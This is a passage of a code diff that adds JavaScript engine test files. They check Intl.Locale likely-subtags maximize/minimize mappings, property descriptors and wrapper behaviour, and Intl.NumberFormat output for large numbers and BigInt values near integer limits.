+ "pag-Latn-PH": "pag",
+ "pal-Phli-IR": "pal",
+ "pal-Phlp-CN": "pal-Phlp",
+ "pam-Latn-PH": "pam",
+ "pap-Latn-AW": "pap",
+ "pap-Latn-BQ": "pap-BQ",
+ "pap-Latn-CW": "pap-CW",
+ "pau-Latn-PW": "pau",
+ "pbi-Latn-ZZ": "pbi",
+ "pcd-Latn-FR": "pcd",
+ "pcm-Latn-NG": "pcm",
+ "pdc-Latn-US": "pdc",
+ "pdt-Latn-CA": "pdt",
+ "ped-Latn-ZZ": "ped",
+ "peo-Xpeo-IR": "peo",
+ "pex-Latn-ZZ": "pex",
+ "pfl-Latn-DE": "pfl",
+ "phl-Arab-ZZ": "phl",
+ "phn-Phnx-LB": "phn",
+ "pil-Latn-ZZ": "pil",
+ "pip-Latn-ZZ": "pip",
+ "pka-Brah-IN": "pka",
+ "pko-Latn-KE": "pko",
+ "pl-Latn-PL": "pl",
+ "pl-Latn-UA": "pl-UA",
+ "pla-Latn-ZZ": "pla",
+ "pms-Latn-IT": "pms",
+ "png-Latn-ZZ": "png",
+ "pnn-Latn-ZZ": "pnn",
+ "pnt-Grek-GR": "pnt",
+ "pon-Latn-FM": "pon",
+ "ppo-Latn-ZZ": "ppo",
+ "pra-Khar-PK": "pra",
+ "prd-Arab-IR": "prd",
+ "prg-Latn-001": "prg",
+ "ps-Arab-AF": "ps",
+ "pss-Latn-ZZ": "pss",
+ "pt-Latn-AO": "pt-AO",
+ "pt-Latn-BR": "pt",
+ "pt-Latn-CV": "pt-CV",
+ "pt-Latn-GW": "pt-GW",
+ "pt-Latn-MO": "pt-MO",
+ "pt-Latn-MZ": "pt-MZ",
+ "pt-Latn-PT": "pt-PT",
+ "pt-Latn-ST": "pt-ST",
+ "pt-Latn-TL": "pt-TL",
+ "ptp-Latn-ZZ": "ptp",
+ "puu-Latn-GA": "puu",
+ "pwa-Latn-ZZ": "pwa",
+ "qu-Latn-PE": "qu",
+ "quc-Latn-GT": "quc",
+ "qug-Latn-EC": "qug",
+ "rai-Latn-ZZ": "rai",
+ "raj-Deva-IN": "raj",
+ "rao-Latn-ZZ": "rao",
+ "rcf-Latn-RE": "rcf",
+ "rej-Latn-ID": "rej",
+ "rej-Rjng-ID": "rej-Rjng",
+ "rel-Latn-ZZ": "rel",
+ "res-Latn-ZZ": "res",
+ "rgn-Latn-IT": "rgn",
+ "rhg-Arab-MM": "rhg",
+ "rhg-Rohg-MM": "rhg-Rohg",
+ "ria-Latn-IN": "ria",
+ "rif-Latn-NL": "rif-NL",
+ "rif-Tfng-MA": "rif",
+ "rjs-Deva-NP": "rjs",
+ "rkt-Beng-BD": "rkt",
+ "rm-Latn-CH": "rm",
+ "rmf-Latn-FI": "rmf",
+ "rmo-Latn-CH": "rmo",
+ "rmt-Arab-IR": "rmt",
+ "rmu-Latn-SE": "rmu",
+ "rn-Latn-BI": "rn",
+ "rna-Latn-ZZ": "rna",
+ "rng-Latn-MZ": "rng",
+ "ro-Latn-MD": "ro-MD",
+ "ro-Latn-RO": "ro",
+ "rob-Latn-ID": "rob",
+ "rof-Latn-TZ": "rof",
+ "roo-Latn-ZZ": "roo",
+ "rro-Latn-ZZ": "rro",
+ "rtm-Latn-FJ": "rtm",
+ "ru-Cyrl-KZ": "ru-KZ",
+ "ru-Cyrl-RU": "ru",
+ "rue-Cyrl-UA": "rue",
+ "rug-Latn-SB": "rug",
+ "rw-Latn-RW": "rw",
+ "rwk-Latn-TZ": "rwk",
+ "rwo-Latn-ZZ": "rwo",
+ "ryu-Kana-JP": "ryu",
+ "sa-Bhks-IN": "sa-Bhks",
+ "sa-Deva-IN": "sa",
+ "sa-Gran-IN": "sa-Gran",
+ "sa-Nand-IN": "sa-Nand",
+ "sa-Shrd-IN": "sa-Shrd",
+ "sa-Sidd-IN": "sa-Sidd",
+ "saf-Latn-GH": "saf",
+ "sah-Cyrl-RU": "sah",
+ "saq-Latn-KE": "saq",
+ "sas-Latn-ID": "sas",
+ "sat-Olck-IN": "sat",
+ "sav-Latn-SN": "sav",
+ "saz-Saur-IN": "saz",
+ "sba-Latn-ZZ": "sba",
+ "sbe-Latn-ZZ": "sbe",
+ "sbp-Latn-TZ": "sbp",
+ "sc-Latn-IT": "sc",
+ "sck-Deva-IN": "sck",
+ "scl-Arab-ZZ": "scl",
+ "scn-Latn-IT": "scn",
+ "sco-Latn-GB": "sco",
+ "scs-Latn-CA": "scs",
+ "sd-Arab-PK": "sd",
+ "sd-Deva-IN": "sd-Deva",
+ "sd-Khoj-IN": "sd-Khoj",
+ "sd-Sind-IN": "sd-Sind",
+ "sdc-Latn-IT": "sdc",
+ "sdh-Arab-IR": "sdh",
+ "se-Latn-NO": "se",
+ "sef-Latn-CI": "sef",
+ "seh-Latn-MZ": "seh",
+ "sei-Latn-MX": "sei",
+ "ses-Latn-ML": "ses",
+ "sg-Latn-CF": "sg",
+ "sga-Ogam-IE": "sga",
+ "sgs-Latn-LT": "sgs",
+ "sgw-Ethi-ZZ": "sgw",
+ "sgz-Latn-ZZ": "sgz",
+ "shi-Tfng-MA": "shi",
+ "shk-Latn-ZZ": "shk",
+ "shn-Mymr-MM": "shn",
+ "shu-Arab-ZZ": "shu",
+ "si-Sinh-LK": "si",
+ "sid-Latn-ET": "sid",
+ "sig-Latn-ZZ": "sig",
+ "sil-Latn-ZZ": "sil",
+ "sim-Latn-ZZ": "sim",
+ "sjr-Latn-ZZ": "sjr",
+ "sk-Latn-SK": "sk",
+ "skc-Latn-ZZ": "skc",
+ "skr-Arab-PK": "skr",
+ "skr-Mult-PK": "skr-Mult",
+ "sks-Latn-ZZ": "sks",
+ "sl-Latn-SI": "sl",
+ "sld-Latn-ZZ": "sld",
+ "sli-Latn-PL": "sli",
+ "sll-Latn-ZZ": "sll",
+ "sly-Latn-ID": "sly",
+ "sm-Latn-AS": "sm-AS",
+ "sm-Latn-WS": "sm",
+ "sma-Latn-SE": "sma",
+ "smj-Latn-SE": "smj",
+ "smn-Latn-FI": "smn",
+ "smp-Samr-IL": "smp",
+ "smq-Latn-ZZ": "smq",
+ "sms-Latn-FI": "sms",
+ "sn-Latn-ZW": "sn",
+ "snc-Latn-ZZ": "snc",
+ "snk-Latn-ML": "snk",
+ "snp-Latn-ZZ": "snp",
+ "snx-Latn-ZZ": "snx",
+ "sny-Latn-ZZ": "sny",
+ "so-Latn-SO": "so",
+ "so-Osma-SO": "so-Osma",
+ "sog-Sogd-UZ": "sog",
+ "sog-Sogo-UZ": "sog-Sogo",
+ "sok-Latn-ZZ": "sok",
+ "soq-Latn-ZZ": "soq",
+ "sou-Thai-TH": "sou",
+ "soy-Latn-ZZ": "soy",
+ "spd-Latn-ZZ": "spd",
+ "spl-Latn-ZZ": "spl",
+ "sps-Latn-ZZ": "sps",
+ "sq-Elba-AL": "sq-Elba",
+ "sq-Latn-AL": "sq",
+ "sq-Latn-MK": "sq-MK",
+ "sq-Latn-XK": "sq-XK",
+ "sr-Cyrl-BA": "sr-BA",
+ "sr-Cyrl-RS": "sr",
+ "sr-Cyrl-XK": "sr-XK",
+ "sr-Latn-ME": "sr-ME",
+ "sr-Latn-RO": "sr-RO",
+ "sr-Latn-RU": "sr-RU",
+ "sr-Latn-TR": "sr-TR",
+ "srb-Sora-IN": "srb",
+ "srn-Latn-SR": "srn",
+ "srr-Latn-SN": "srr",
+ "srx-Deva-IN": "srx",
+ "ss-Latn-ZA": "ss",
+ "ssd-Latn-ZZ": "ssd",
+ "ssg-Latn-ZZ": "ssg",
+ "ssy-Latn-ER": "ssy",
+ "st-Latn-LS": "st-LS",
+ "st-Latn-ZA": "st",
+ "stk-Latn-ZZ": "stk",
+ "stq-Latn-DE": "stq",
+ "su-Latn-ID": "su",
+ "su-Sund-ID": "su-Sund",
+ "sua-Latn-ZZ": "sua",
+ "sue-Latn-ZZ": "sue",
+ "suk-Latn-TZ": "suk",
+ "sur-Latn-ZZ": "sur",
+ "sus-Latn-GN": "sus",
+ "sv-Latn-AX": "sv-AX",
+ "sv-Latn-SE": "sv",
+ "sw-Latn-CD": "sw-CD",
+ "sw-Latn-KE": "sw-KE",
+ "sw-Latn-TZ": "sw",
+ "sw-Latn-UG": "sw-UG",
+ "swb-Arab-YT": "swb",
+ "swg-Latn-DE": "swg",
+ "swp-Latn-ZZ": "swp",
+ "swv-Deva-IN": "swv",
+ "sxn-Latn-ID": "sxn",
+ "sxw-Latn-ZZ": "sxw",
+ "syl-Beng-BD": "syl",
+ "syl-Sylo-BD": "syl-Sylo",
+ "syr-Syrc-IQ": "syr",
+ "szl-Latn-PL": "szl",
+ "ta-Taml-IN": "ta",
+ "taj-Deva-NP": "taj",
+ "tal-Latn-ZZ": "tal",
+ "tan-Latn-ZZ": "tan",
+ "taq-Latn-ZZ": "taq",
+ "tbc-Latn-ZZ": "tbc",
+ "tbd-Latn-ZZ": "tbd",
+ "tbf-Latn-ZZ": "tbf",
+ "tbg-Latn-ZZ": "tbg",
+ "tbo-Latn-ZZ": "tbo",
+ "tbw-Latn-PH": "tbw",
+ "tbw-Tagb-PH": "tbw-Tagb",
+ "tbz-Latn-ZZ": "tbz",
+ "tci-Latn-ZZ": "tci",
+ "tcy-Knda-IN": "tcy",
+ "tdd-Tale-CN": "tdd",
+ "tdg-Deva-NP": "tdg",
+ "tdh-Deva-NP": "tdh",
+ "te-Telu-IN": "te",
+ "ted-Latn-ZZ": "ted",
+ "tem-Latn-SL": "tem",
+ "teo-Latn-UG": "teo",
+ "tet-Latn-TL": "tet",
+ "tfi-Latn-ZZ": "tfi",
+ "tg-Arab-PK": "tg-PK",
+ "tg-Cyrl-TJ": "tg",
+ "tgc-Latn-ZZ": "tgc",
+ "tgo-Latn-ZZ": "tgo",
+ "tgu-Latn-ZZ": "tgu",
+ "th-Thai-TH": "th",
+ "thl-Deva-NP": "thl",
+ "thq-Deva-NP": "thq",
+ "thr-Deva-NP": "thr",
+ "ti-Ethi-ER": "ti-ER",
+ "ti-Ethi-ET": "ti",
+ "tif-Latn-ZZ": "tif",
+ "tig-Ethi-ER": "tig",
+ "tik-Latn-ZZ": "tik",
+ "tim-Latn-ZZ": "tim",
+ "tio-Latn-ZZ": "tio",
+ "tiv-Latn-NG": "tiv",
+ "tk-Latn-AF": "tk-AF",
+ "tk-Latn-IR": "tk-IR",
+ "tk-Latn-TM": "tk",
+ "tkl-Latn-TK": "tkl",
+ "tkr-Latn-AZ": "tkr",
+ "tkt-Deva-NP": "tkt",
+ "tlf-Latn-ZZ": "tlf",
+ "tlx-Latn-ZZ": "tlx",
+ "tly-Latn-AZ": "tly",
+ "tmh-Latn-NE": "tmh",
+ "tmy-Latn-ZZ": "tmy",
+ "tn-Latn-ZA": "tn",
+ "tnh-Latn-ZZ": "tnh",
+ "to-Latn-TO": "to",
+ "tof-Latn-ZZ": "tof",
+ "tog-Latn-MW": "tog",
+ "toq-Latn-ZZ": "toq",
+ "tpi-Latn-PG": "tpi",
+ "tpm-Latn-ZZ": "tpm",
+ "tpz-Latn-ZZ": "tpz",
+ "tqo-Latn-ZZ": "tqo",
+ "tr-Latn-CY": "tr-CY",
+ "tr-Latn-TR": "tr",
+ "tru-Latn-TR": "tru",
+ "trv-Latn-TW": "trv",
+ "trw-Arab-ZZ": "trw",
+ "ts-Latn-ZA": "ts",
+ "tsd-Grek-GR": "tsd",
+ "tsg-Latn-PH": "tsg",
+ "tsj-Tibt-BT": "tsj",
+ "tsw-Latn-ZZ": "tsw",
+ "tt-Cyrl-RU": "tt",
+ "ttd-Latn-ZZ": "ttd",
+ "tte-Latn-ZZ": "tte",
+ "ttj-Latn-UG": "ttj",
+ "ttr-Latn-ZZ": "ttr",
+ "tts-Thai-TH": "tts",
+ "ttt-Latn-AZ": "ttt",
+ "tuh-Latn-ZZ": "tuh",
+ "tul-Latn-ZZ": "tul",
+ "tum-Latn-MW": "tum",
+ "tuq-Latn-ZZ": "tuq",
+ "tvd-Latn-ZZ": "tvd",
+ "tvl-Latn-TV": "tvl",
+ "tvu-Latn-ZZ": "tvu",
+ "twh-Latn-ZZ": "twh",
+ "twq-Latn-NE": "twq",
+ "txg-Tang-CN": "txg",
+ "ty-Latn-PF": "ty",
+ "tya-Latn-ZZ": "tya",
+ "tyv-Cyrl-RU": "tyv",
+ "tzm-Latn-MA": "tzm",
+ "ubu-Latn-ZZ": "ubu",
+ "udm-Cyrl-RU": "udm",
+ "ug-Arab-CN": "ug",
+ "ug-Cyrl-KZ": "ug-KZ",
+ "ug-Cyrl-MN": "ug-MN",
+ "uga-Ugar-SY": "uga",
+ "uk-Cyrl-MD": "uk-MD",
+ "uk-Cyrl-SK": "uk-SK",
+ "uk-Cyrl-UA": "uk",
+ "uli-Latn-FM": "uli",
+ "umb-Latn-AO": "umb",
+ "und-Latn-AQ": "und-AQ",
+ "und-Latn-BV": "und-BV",
+ "und-Latn-CP": "und-CP",
+ "und-Latn-GS": "und-GS",
+ "und-Latn-HM": "und-HM",
+ "unr-Beng-IN": "unr",
+ "unr-Deva-NP": "unr-NP",
+ "unx-Beng-IN": "unx",
+ "ur-Arab-IN": "ur-IN",
+ "ur-Arab-MU": "ur-MU",
+ "ur-Arab-PK": "ur",
+ "uri-Latn-ZZ": "uri",
+ "urt-Latn-ZZ": "urt",
+ "urw-Latn-ZZ": "urw",
+ "usa-Latn-ZZ": "usa",
+ "utr-Latn-ZZ": "utr",
+ "uvh-Latn-ZZ": "uvh",
+ "uvl-Latn-ZZ": "uvl",
+ "uz-Arab-AF": "uz-AF",
+ "uz-Cyrl-CN": "uz-CN",
+ "uz-Latn-UZ": "uz",
+ "vag-Latn-ZZ": "vag",
+ "vai-Vaii-LR": "vai",
+ "van-Latn-ZZ": "van",
+ "ve-Latn-ZA": "ve",
+ "vec-Latn-IT": "vec",
+ "vep-Latn-RU": "vep",
+ "vi-Latn-VN": "vi",
+ "vic-Latn-SX": "vic",
+ "viv-Latn-ZZ": "viv",
+ "vls-Latn-BE": "vls",
+ "vmf-Latn-DE": "vmf",
+ "vmw-Latn-MZ": "vmw",
+ "vo-Latn-001": "vo",
+ "vot-Latn-RU": "vot",
+ "vro-Latn-EE": "vro",
+ "vun-Latn-TZ": "vun",
+ "vut-Latn-ZZ": "vut",
+ "wa-Latn-BE": "wa",
+ "wae-Latn-CH": "wae",
+ "waj-Latn-ZZ": "waj",
+ "wal-Ethi-ET": "wal",
+ "wan-Latn-ZZ": "wan",
+ "war-Latn-PH": "war",
+ "wbp-Latn-AU": "wbp",
+ "wbq-Telu-IN": "wbq",
+ "wbr-Deva-IN": "wbr",
+ "wci-Latn-ZZ": "wci",
+ "wer-Latn-ZZ": "wer",
+ "wgi-Latn-ZZ": "wgi",
+ "whg-Latn-ZZ": "whg",
+ "wib-Latn-ZZ": "wib",
+ "wiu-Latn-ZZ": "wiu",
+ "wiv-Latn-ZZ": "wiv",
+ "wja-Latn-ZZ": "wja",
+ "wji-Latn-ZZ": "wji",
+ "wls-Latn-WF": "wls",
+ "wmo-Latn-ZZ": "wmo",
+ "wnc-Latn-ZZ": "wnc",
+ "wni-Arab-KM": "wni",
+ "wnu-Latn-ZZ": "wnu",
+ "wo-Latn-SN": "wo",
+ "wob-Latn-ZZ": "wob",
+ "wos-Latn-ZZ": "wos",
+ "wrs-Latn-ZZ": "wrs",
+ "wsg-Gong-IN": "wsg",
+ "wsk-Latn-ZZ": "wsk",
+ "wtm-Deva-IN": "wtm",
+ "wuu-Hans-CN": "wuu",
+ "wuv-Latn-ZZ": "wuv",
+ "wwa-Latn-ZZ": "wwa",
+ "xav-Latn-BR": "xav",
+ "xbi-Latn-ZZ": "xbi",
+ "xco-Chrs-UZ": "xco",
+ "xcr-Cari-TR": "xcr",
+ "xes-Latn-ZZ": "xes",
+ "xh-Latn-ZA": "xh",
+ "xla-Latn-ZZ": "xla",
+ "xlc-Lyci-TR": "xlc",
+ "xld-Lydi-TR": "xld",
+ "xmf-Geor-GE": "xmf",
+ "xmn-Mani-CN": "xmn",
+ "xmr-Merc-SD": "xmr",
+ "xmr-Mero-SD": "xmr-Mero",
+ "xna-Narb-SA": "xna",
+ "xnr-Deva-IN": "xnr",
+ "xog-Latn-UG": "xog",
+ "xon-Latn-ZZ": "xon",
+ "xpr-Prti-IR": "xpr",
+ "xrb-Latn-ZZ": "xrb",
+ "xsa-Sarb-YE": "xsa",
+ "xsi-Latn-ZZ": "xsi",
+ "xsm-Latn-ZZ": "xsm",
+ "xsr-Deva-NP": "xsr",
+ "xwe-Latn-ZZ": "xwe",
+ "yam-Latn-ZZ": "yam",
+ "yao-Latn-MZ": "yao",
+ "yap-Latn-FM": "yap",
+ "yas-Latn-ZZ": "yas",
+ "yat-Latn-ZZ": "yat",
+ "yav-Latn-CM": "yav",
+ "yay-Latn-ZZ": "yay",
+ "yaz-Latn-ZZ": "yaz",
+ "yba-Latn-ZZ": "yba",
+ "ybb-Latn-CM": "ybb",
+ "yby-Latn-ZZ": "yby",
+ "yer-Latn-ZZ": "yer",
+ "ygr-Latn-ZZ": "ygr",
+ "ygw-Latn-ZZ": "ygw",
+ "yi-Hebr-001": "yi",
+ "yi-Hebr-CA": "yi-CA",
+ "yi-Hebr-GB": "yi-GB",
+ "yi-Hebr-SE": "yi-SE",
+ "yi-Hebr-UA": "yi-UA",
+ "yi-Hebr-US": "yi-US",
+ "yko-Latn-ZZ": "yko",
+ "yle-Latn-ZZ": "yle",
+ "ylg-Latn-ZZ": "ylg",
+ "yll-Latn-ZZ": "yll",
+ "yml-Latn-ZZ": "yml",
+ "yo-Latn-NG": "yo",
+ "yon-Latn-ZZ": "yon",
+ "yrb-Latn-ZZ": "yrb",
+ "yre-Latn-ZZ": "yre",
+ "yrl-Latn-BR": "yrl",
+ "yss-Latn-ZZ": "yss",
+ "yua-Latn-MX": "yua",
+ "yue-Hans-CN": "yue-CN",
+ "yue-Hant-HK": "yue",
+ "yuj-Latn-ZZ": "yuj",
+ "yut-Latn-ZZ": "yut",
+ "yuw-Latn-ZZ": "yuw",
+ "za-Latn-CN": "za",
+ "zag-Latn-SD": "zag",
+ "zdj-Arab-KM": "zdj",
+ "zea-Latn-NL": "zea",
+ "zgh-Tfng-MA": "zgh",
+ "zh-Bopo-TW": "zh-Bopo",
+ "zh-Hanb-TW": "zh-Hanb",
+ "zh-Hani-CN": "zh-Hani",
+ "zh-Hans-CN": "zh",
+ "zh-Hant-AU": "zh-AU",
+ "zh-Hant-BN": "zh-BN",
+ "zh-Hant-GB": "zh-GB",
+ "zh-Hant-GF": "zh-GF",
+ "zh-Hant-HK": "zh-HK",
+ "zh-Hant-ID": "zh-ID",
+ "zh-Hant-MO": "zh-MO",
+ "zh-Hant-MY": "zh-MY",
+ "zh-Hant-PA": "zh-PA",
+ "zh-Hant-PF": "zh-PF",
+ "zh-Hant-PH": "zh-PH",
+ "zh-Hant-SR": "zh-SR",
+ "zh-Hant-TH": "zh-TH",
+ "zh-Hant-TW": "zh-TW",
+ "zh-Hant-US": "zh-US",
+ "zh-Hant-VN": "zh-VN",
+ "zhx-Nshu-CN": "zhx",
+ "zia-Latn-ZZ": "zia",
+ "zkt-Kits-CN": "zkt",
+ "zlm-Latn-TG": "zlm",
+ "zmi-Latn-MY": "zmi",
+ "zne-Latn-ZZ": "zne",
+ "zu-Latn-ZA": "zu",
+ "zza-Latn-TR": "zza",
+};
+
+for (let [tag, maximal] of Object.entries(maxLikelySubtags)) {
+ assertEq(new Intl.Locale(tag).maximize().toString(), maximal);
+}
+
+for (let [tag, minimal] of Object.entries(minLikelySubtags)) {
+ assertEq(new Intl.Locale(tag).minimize().toString(), minimal);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/Locale/likely-subtags.js b/js/src/tests/non262/Intl/Locale/likely-subtags.js
new file mode 100644
index 0000000000..73f00475d5
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/likely-subtags.js
@@ -0,0 +1,61 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+var testDataMaximal = {
+ // Keeps "und" primary language.
+ "und-AQ": "und-Latn-AQ",
+
+ // Modifies primary language.
+ "und-Cyrl-RO": "bg-Cyrl-RO",
+}
+
+var testDataMinimal = {
+ // Undefined primary language.
+ "und": "en",
+ "und-Thai": "th",
+ "und-419": "es-419",
+ "und-150": "ru",
+ "und-AT": "de-AT",
+
+ // https://ssl.icu-project.org/trac/ticket/13786
+ "aae-Latn-IT": "aae-Latn-IT",
+ "aae-Thai-CO": "aae-Thai-CO",
+
+ // https://ssl.icu-project.org/trac/ticket/10220
+ // https://ssl.icu-project.org/trac/ticket/12345
+ "und-CW": "pap-CW",
+ "und-US": "en",
+ "zh-Hant": "zh-TW",
+ "zh-Hani": "zh-Hani",
+};
+
+// Add variants, extensions, and privateuse subtags and ensure they don't
+// modify the result of the likely subtags algorithms.
+var extras = [
+ "fonipa",
+ "a-not-assigned",
+ "u-attr",
+ "u-co",
+ "u-co-phonebk",
+ "x-private",
+];
+
+for (var [tag, maximal] of Object.entries(testDataMaximal)) {
+ assertEq(new Intl.Locale(tag).maximize().toString(), maximal);
+ assertEq(new Intl.Locale(maximal).maximize().toString(), maximal);
+
+ for (var extra of extras) {
+ assertEq(new Intl.Locale(tag + "-" + extra).maximize().toString(), maximal + "-" + extra);
+ }
+}
+
+for (var [tag, minimal] of Object.entries(testDataMinimal)) {
+ assertEq(new Intl.Locale(tag).minimize().toString(), minimal);
+ assertEq(new Intl.Locale(minimal).minimize().toString(), minimal);
+
+ for (var extra of extras) {
+ assertEq(new Intl.Locale(tag + "-" + extra).minimize().toString(), minimal + "-" + extra);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/Locale/same-compartment.js b/js/src/tests/non262/Intl/Locale/same-compartment.js
new file mode 100644
index 0000000000..fb71c85f6c
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/same-compartment.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||!this.wrapWithProto)
+
+var tag = "de-Latn-AT-u-ca-gregory-nu-latn-co-phonebk-kf-false-kn-hc-h23";
+var locale = new Intl.Locale(tag);
+var scwLocale = wrapWithProto(locale, Intl.Locale.prototype);
+
+for (var [key, {get, value = get}] of Object.entries(Object.getOwnPropertyDescriptors(Intl.Locale.prototype))) {
+ if (typeof value === "function") {
+ if (key !== "constructor") {
+ var expectedValue = value.call(locale);
+
+ if (typeof expectedValue === "string" || typeof expectedValue === "boolean") {
+ assertEq(value.call(scwLocale), expectedValue, key);
+ } else if (expectedValue instanceof Intl.Locale) {
+ assertEq(value.call(scwLocale).toString(), expectedValue.toString(), key);
+ } else {
+ throw new Error("unexpected result value");
+ }
+ } else {
+ assertEq(new value(scwLocale).toString(), new value(locale).toString(), key);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/Locale/shell.js b/js/src/tests/non262/Intl/Locale/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/shell.js
diff --git a/js/src/tests/non262/Intl/Locale/surface.js b/js/src/tests/non262/Intl/Locale/surface.js
new file mode 100644
index 0000000000..ba90182436
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/surface.js
@@ -0,0 +1,98 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+function assertProperty(object, name, desc) {
+ assertEq(desc === undefined || (typeof desc === "object" && desc !== null), true,
+ "desc is a property descriptor");
+
+ var actual = Object.getOwnPropertyDescriptor(object, name);
+ if (desc === undefined) {
+ assertEq(actual, desc, `property ${String(name)} is absent`);
+ return;
+ }
+ assertEq(actual !== undefined, true, `property ${String(name)} is present`);
+
+ var fields = ["value", "writable", "enumerable", "configurable", "get", "set"];
+ for (var field of fields) {
+ if (Object.prototype.hasOwnProperty.call(desc, field)) {
+ assertEq(actual[field], desc[field], `unexpected value for ${field}`);
+ }
+ }
+}
+
+function assertBuiltinFunction(fn, length, name) {
+ assertProperty(fn, "length", {
+ value: length, writable: false, enumerable: false, configurable: true,
+ });
+}
+
+function assertBuiltinMethod(object, propName, length, name) {
+ var desc = Object.getOwnPropertyDescriptor(object, propName);
+ assertProperty(object, propName, {
+ value: desc.value, writable: true, enumerable: false, configurable: true
+ });
+ assertBuiltinFunction(desc.value, length, name);
+}
+
+function assertBuiltinGetter(object, propName, length, name) {
+ var desc = Object.getOwnPropertyDescriptor(object, propName);
+
+ assertBuiltinFunction(desc.get, length, name);
+}
+
+// Intl.Locale( tag[, options] )
+assertBuiltinFunction(Intl.Locale, 1, "Locale");
+
+// Properties of the Intl.Locale Constructor
+
+// Intl.Locale.prototype
+assertProperty(Intl.Locale, "prototype", {
+ value: Intl.Locale.prototype, writable: false, enumerable: false, configurable: false,
+});
+
+// Properties of the Intl.Locale Prototype Object
+
+// Intl.Locale.prototype.constructor
+assertProperty(Intl.Locale.prototype, "constructor", {
+ value: Intl.Locale, writable: true, enumerable: false, configurable: true,
+});
+
+// Intl.Locale.prototype[ @@toStringTag ]
+assertProperty(Intl.Locale.prototype, Symbol.toStringTag, {
+ value: "Intl.Locale", writable: false, enumerable: false, configurable: true,
+});
+
+// Intl.Locale.prototype.toString ()
+assertBuiltinMethod(Intl.Locale.prototype, "toString", 0, "toString");
+
+// get Intl.Locale.prototype.baseName
+assertBuiltinGetter(Intl.Locale.prototype, "baseName", 0, "get baseName");
+
+// get Intl.Locale.prototype.calendar
+assertBuiltinGetter(Intl.Locale.prototype, "calendar", 0, "get calendar");
+
+// get Intl.Locale.prototype.collation
+assertBuiltinGetter(Intl.Locale.prototype, "collation", 0, "get collation");
+
+// get Intl.Locale.prototype.hourCycle
+assertBuiltinGetter(Intl.Locale.prototype, "hourCycle", 0, "get hourCycle");
+
+// get Intl.Locale.prototype.caseFirst
+assertBuiltinGetter(Intl.Locale.prototype, "caseFirst", 0, "get caseFirst");
+
+// get Intl.Locale.prototype.numeric
+assertBuiltinGetter(Intl.Locale.prototype, "numeric", 0, "get numeric");
+
+// get Intl.Locale.prototype.numberingSystem
+assertBuiltinGetter(Intl.Locale.prototype, "numberingSystem", 0, "get numberingSystem");
+
+// get Intl.Locale.prototype.language
+assertBuiltinGetter(Intl.Locale.prototype, "language", 0, "get language");
+
+// get Intl.Locale.prototype.script
+assertBuiltinGetter(Intl.Locale.prototype, "script", 0, "get script");
+
+// get Intl.Locale.prototype.region
+assertBuiltinGetter(Intl.Locale.prototype, "region", 0, "get region");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/NumberFormat/StringBuffer.js b/js/src/tests/non262/Intl/NumberFormat/StringBuffer.js
new file mode 100644
index 0000000000..70aaa7bd75
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/StringBuffer.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// The implementation of the format function uses the C++ StringBuffer class,
+// which changes its storage model at 32 characters, and uses it in a way which
+// also means that there's no room for null-termination at this limit.
+// This test makes sure that none of this affects the output.
+
+var format = new Intl.NumberFormat("it-IT", {minimumFractionDigits: 1});
+
+assertEq(format.format(1123123123123123123123.1), "1.123.123.123.123.123.100.000,0");
+assertEq(format.format(12123123123123123123123.1), "12.123.123.123.123.122.000.000,0");
+assertEq(format.format(123123123123123123123123.1), "123.123.123.123.123.120.000.000,0");
+
+// Ensure the ICU output matches Number.prototype.toFixed.
+function formatToFixed(x) {
+ var mfd = format.resolvedOptions().maximumFractionDigits;
+ var s = x.toFixed(mfd);
+
+ // To keep it simple we assume |s| is always in exponential form.
+ var m = s.match(/^(\d)\.(\d+)e\+(\d+)$/);
+ assertEq(m !== null, true);
+ s = m[1] + m[2].padEnd(m[3], "0");
+
+ // Group digits and append fractional part.
+ m = s.match(/\d{1,3}(?=(?:\d{3})*$)/g);
+ assertEq(m !== null, true);
+ return m.join(".") + ",0";
+}
+
+assertEq(formatToFixed(1123123123123123123123.1), "1.123.123.123.123.123.100.000,0");
+assertEq(formatToFixed(12123123123123123123123.1), "12.123.123.123.123.122.000.000,0");
+assertEq(formatToFixed(123123123123123123123123.1), "123.123.123.123.123.120.000.000,0");
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/NumberFormat/bigint-int64.js b/js/src/tests/non262/Intl/NumberFormat/bigint-int64.js
new file mode 100644
index 0000000000..7b670d0873
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/bigint-int64.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Ensure the int64_t optimization when formatting a BigInt value works correctly by testing with
+// various integers around the (u)int[32,64] limits.
+
+const limits = {
+ int32: {
+ min: -0x80000000n,
+ max: 0x7FFFFFFFn,
+ },
+ uint32: {
+ min: 0n,
+ max: 0xFFFFFFFFn
+ },
+ int64: {
+ min: -0x8000000000000000n,
+ max: 0x7FFFFFFFFFFFFFFFn,
+ },
+ uint64: {
+ min: 0n,
+ max: 0xFFFFFFFFFFFFFFFFn
+ },
+};
+
+const nf = new Intl.NumberFormat("en", {useGrouping: false});
+
+const diff = 10n;
+
+for (const int of Object.values(limits)) {
+ for (let i = -diff; i <= diff; ++i) {
+ let n = int.min + i;
+ assertEq(nf.format(n), n.toString());
+
+ let m = int.max + i;
+ assertEq(nf.format(m), m.toString());
+ }
+}
+
+if (typeof reportCompare === "function")
